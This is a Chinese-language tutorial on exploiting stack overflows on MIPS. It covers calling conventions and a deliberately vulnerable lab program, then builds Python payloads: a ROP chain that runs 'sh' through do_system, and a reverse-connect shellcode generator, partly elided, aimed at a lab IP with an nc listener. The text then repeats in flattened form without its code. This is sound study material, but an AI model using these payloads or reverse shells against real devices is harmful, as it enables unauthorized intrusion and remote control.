MIPS栈溢出:ROP构造与Shellocde注入
字数 1607 2025-08-29 22:41:39

MIPS栈溢出:ROP构造与Shellcode注入技术详解

0. 前言

本文详细讲解MIPS架构下的栈溢出漏洞利用技术,包括ROP链构造和Shellcode注入方法。学习本教程前需要具备基本的MIPS汇编知识和缓冲区溢出概念。

环境要求

  • 推荐使用Ubuntu 16.04系统
  • 避免使用Ubuntu 18.04或更高版本,可能导致gadget找不到
  • 程序至少应在Ubuntu 16.04上交叉编译

1. MIPS32架构堆栈特点

MIPS32架构与x86架构在函数调用方式上有显著差异:

  1. 无EBP寄存器:MIPS没有栈底指针(EBP),函数进栈时只需将当前指针向下移动n个比特(n为函数所需堆栈空间大小),之后不再移动指针
  2. 参数传递方式
    • 前4个参数通过\(a0-\)a3寄存器传递
    • 超过4个的参数放入调用参数空间
  3. 返回地址存储
    • x86:返回地址压入堆栈
    • MIPS:返回地址存入$ra寄存器

2. MIPS函数调用机制

2.1 叶子函数与非叶子函数

  • 叶子函数:函数内部不再调用其他任何函数
  • 非叶子函数:函数内部会调用其他函数

调用过程

  1. call指令复制当前\(PC值到\)RA寄存器,然后跳转到被调函数执行
  2. 判断被调函数类型:
    • 非叶子函数:将$RA中的返回地址存入堆栈
    • 叶子函数:保持$RA不变
  3. 函数返回时:
    • 非叶子函数:从堆栈取出返回地址存入\(RA,然后`jr \)ra`
    • 叶子函数:直接jr $ra

2.2 函数调用参数传递示例

#include<stdio.h>
int test(int a,int b,int c,int d,int e,int f,int g);
int main() {
    test(0,1,2,3,4,5,6);
    return 0;
}
int test(int a, int b, int c, int d, int e, int f, int g) {
    char s[50]={0};
    sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g);
}

参数传递特点:

  • 前4个参数(v1-v4)存入\(a0-\)a3
  • 后3个参数(v5-v7)按正序压入main函数栈顶预留空间
  • 低地址对应v5,高地址递增存放v6、v7

3. MIPS缓冲区溢出原理

3.1 非叶子函数溢出

#include<stdio.h>
void stack(char *src){
    char a[20]={0};
    strcpy(a,src);
}
int main(int argc,char *argv[]){
    stack(argv[1]);
    return 0;
}

特点:

  • stack是非叶子函数,会将main的返回地址存入自己的堆栈
  • 缓冲区溢出可能覆盖main的返回地址
  • 与x86架构溢出原理相似

3.2 叶子函数溢出

#include<stdio.h>
void stack(char *src, int count){
    char s[20]={0};
    int i=0;
    for(i=0;i<count;i++) s[i]=src[i];
}
int main(int argc,char *argv[]) {
    int count=strlen(argv[1]);
    stack(argv[1],count);
    return 0;
}

特点:

  • stack是叶子函数,main的返回地址保持在$ra寄存器中
  • 常规溢出无法覆盖$ra寄存器
  • 但如果溢出足够大,可以覆盖main函数栈帧中上层函数的返回地址

4. 漏洞利用实战

4.1 示例漏洞代码

#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd) {
    char buf[255];
    system(cmd);
}
void main() {
    char buf[256]={0};
    //...文件读取和密码验证逻辑...
    if(!strcmp(buf,"adminpwd")) {
        do_system(count,"ls -L");
    }
    //...
}

4.2 确定偏移量

  1. 生成测试数据:
    python -c "print 'A'*500" > passwd
    
  2. 动态调试配置:
    mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_system
    sudo chroot . ./qemu-mips-static -g 1234 ./vuln_system
    
  3. 使用patternLocOffset.py确定精确偏移:
    python patternLocOffset.py -c -l 1000 -f passwd
    python patternLocOffset.py -s [崩溃地址] -l 1000
    
    本例中偏移量为404字节(0x194)

4.3 ROP链构造

目标:利用do_system函数执行任意命令

  1. 查找合适的gadget:

    • 使用IDA的mipsrop插件:mipsrop.stackfinders()
    • 选择能控制$a1寄存器的gadget(本例使用0x004474BC)
  2. 构造payload:

    import struct
    cmd = "sh"
    cmd += "\00"*(4-(len(cmd) %4))  # 栈对齐
    shellcode = "A"*0x194
    shellcode += struct.pack(">L",0x004474BC)  # gadget地址
    shellcode += "A"*0x18  # padding
    shellcode += cmd  # 命令字符串
    shellcode += "B"*(0x3C - len(cmd))  # 填充
    shellcode += struct.pack(">L", 0x00400A80)  # do_system地址
    

4.4 Shellcode注入

反向连接Shellcode构造

import struct
import socket

def makeshellcode(hostip,port):
    # 转换IP和端口为网络字节序
    host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])
    hosts=struct.unpack('cccc',struct.pack('>L',host))
    ports=struct.unpack('cccc',struct.pack('>L',port))
    
    # Shellcode主体
    mipshell = "\x24\x0f\xff\xfa"  # li t7,-6
    mipshell += "\x01\xe0\x78\x27"  # nor t7,t7,zero
    # ...(省略中间部分)...
    mipshell += "\x01\x01\x01\x0c"  # syscall 0x40404
    return mipshell

# 使用示例
payload = "a"*0x194
payload += struct.pack(">L",0x7ffff5d0)  # 栈地址
payload += makeshellcode('192.168.119.149',8888)  # 监听IP和端口

注意事项

  1. 某些端口(如4444)可能被占用,建议使用其他端口(如8888)
  2. 确保攻击机和靶机网络互通
  3. 使用NetCat监听:nc -lvp 8888

5. 关键问题与解决方案

  1. gadget找不到问题

    • 确保使用Ubuntu 16.04环境
    • 交叉编译时使用相同环境
    • 尝试不同gadget搜索工具(ROPgadget/mipsrop)
  2. Shellcode执行失败

    • 检查栈地址是否正确
    • 确保没有坏字符(NULL字节等)
    • 验证网络连接和端口可用性
  3. 动态调试技巧

    • 使用IDA远程调试
    • 在关键函数(如do_system)设置断点
    • 观察寄存器值和内存变化

6. 总结

MIPS架构下的漏洞利用需要特别注意:

  1. 函数调用约定与x86不同
  2. 叶子函数与非叶子函数的区别
  3. 参数传递方式特殊
  4. ROP构造需要找到合适的gadget控制\(a0-\)a3寄存器
  5. Shellcode需要针对MIPS架构特别编写

通过本文介绍的方法,可以系统性地进行MIPS栈溢出漏洞的分析和利用,实现ROP链构造和Shellcode注入。

MIPS栈溢出:ROP构造与Shellcode注入技术详解 0. 前言 本文详细讲解MIPS架构下的栈溢出漏洞利用技术,包括ROP链构造和Shellcode注入方法。学习本教程前需要具备基本的MIPS汇编知识和缓冲区溢出概念。 环境要求 : 推荐使用Ubuntu 16.04系统 避免使用Ubuntu 18.04或更高版本,可能导致gadget找不到 程序至少应在Ubuntu 16.04上交叉编译 1. MIPS32架构堆栈特点 MIPS32架构与x86架构在函数调用方式上有显著差异: 无EBP寄存器 :MIPS没有栈底指针(EBP),函数进栈时只需将当前指针向下移动n个比特(n为函数所需堆栈空间大小),之后不再移动指针 参数传递方式 : 前4个参数通过$a0-$a3寄存器传递 超过4个的参数放入调用参数空间 返回地址存储 : x86:返回地址压入堆栈 MIPS:返回地址存入$ra寄存器 2. MIPS函数调用机制 2.1 叶子函数与非叶子函数 叶子函数 :函数内部不再调用其他任何函数 非叶子函数 :函数内部会调用其他函数 调用过程 : call指令复制当前$PC值到$RA寄存器,然后跳转到被调函数执行 判断被调函数类型: 非叶子函数:将$RA中的返回地址存入堆栈 叶子函数:保持$RA不变 函数返回时: 非叶子函数:从堆栈取出返回地址存入$RA,然后 jr $ra 叶子函数:直接 jr $ra 2.2 函数调用参数传递示例 参数传递特点: 前4个参数(v1-v4)存入$a0-$a3 后3个参数(v5-v7)按正序压入main函数栈顶预留空间 低地址对应v5,高地址递增存放v6、v7 3. MIPS缓冲区溢出原理 3.1 非叶子函数溢出 特点: stack是非叶子函数,会将main的返回地址存入自己的堆栈 缓冲区溢出可能覆盖main的返回地址 与x86架构溢出原理相似 3.2 叶子函数溢出 特点: stack是叶子函数,main的返回地址保持在$ra寄存器中 常规溢出无法覆盖$ra寄存器 但如果溢出足够大,可以覆盖main函数栈帧中上层函数的返回地址 4. 漏洞利用实战 4.1 示例漏洞代码 4.2 确定偏移量 生成测试数据: 动态调试配置: 使用patternLocOffset.py确定精确偏移: 本例中偏移量为404字节(0x194) 4.3 ROP链构造 目标 :利用do_ system函数执行任意命令 查找合适的gadget: 使用IDA的mipsrop插件: mipsrop.stackfinders() 选择能控制$a1寄存器的gadget(本例使用0x004474BC) 构造payload: 4.4 Shellcode注入 反向连接Shellcode构造 : 注意事项 : 某些端口(如4444)可能被占用,建议使用其他端口(如8888) 确保攻击机和靶机网络互通 使用NetCat监听: nc -lvp 8888 5. 关键问题与解决方案 gadget找不到问题 : 确保使用Ubuntu 16.04环境 交叉编译时使用相同环境 尝试不同gadget搜索工具(ROPgadget/mipsrop) Shellcode执行失败 : 检查栈地址是否正确 确保没有坏字符(NULL字节等) 验证网络连接和端口可用性 动态调试技巧 : 使用IDA远程调试 在关键函数(如do_ system)设置断点 观察寄存器值和内存变化 6. 总结 MIPS架构下的漏洞利用需要特别注意: 函数调用约定与x86不同 叶子函数与非叶子函数的区别 参数传递方式特殊 ROP构造需要找到合适的gadget控制$a0-$a3寄存器 Shellcode需要针对MIPS架构特别编写 通过本文介绍的方法,可以系统性地进行MIPS栈溢出漏洞的分析和利用,实现ROP链构造和Shellcode注入。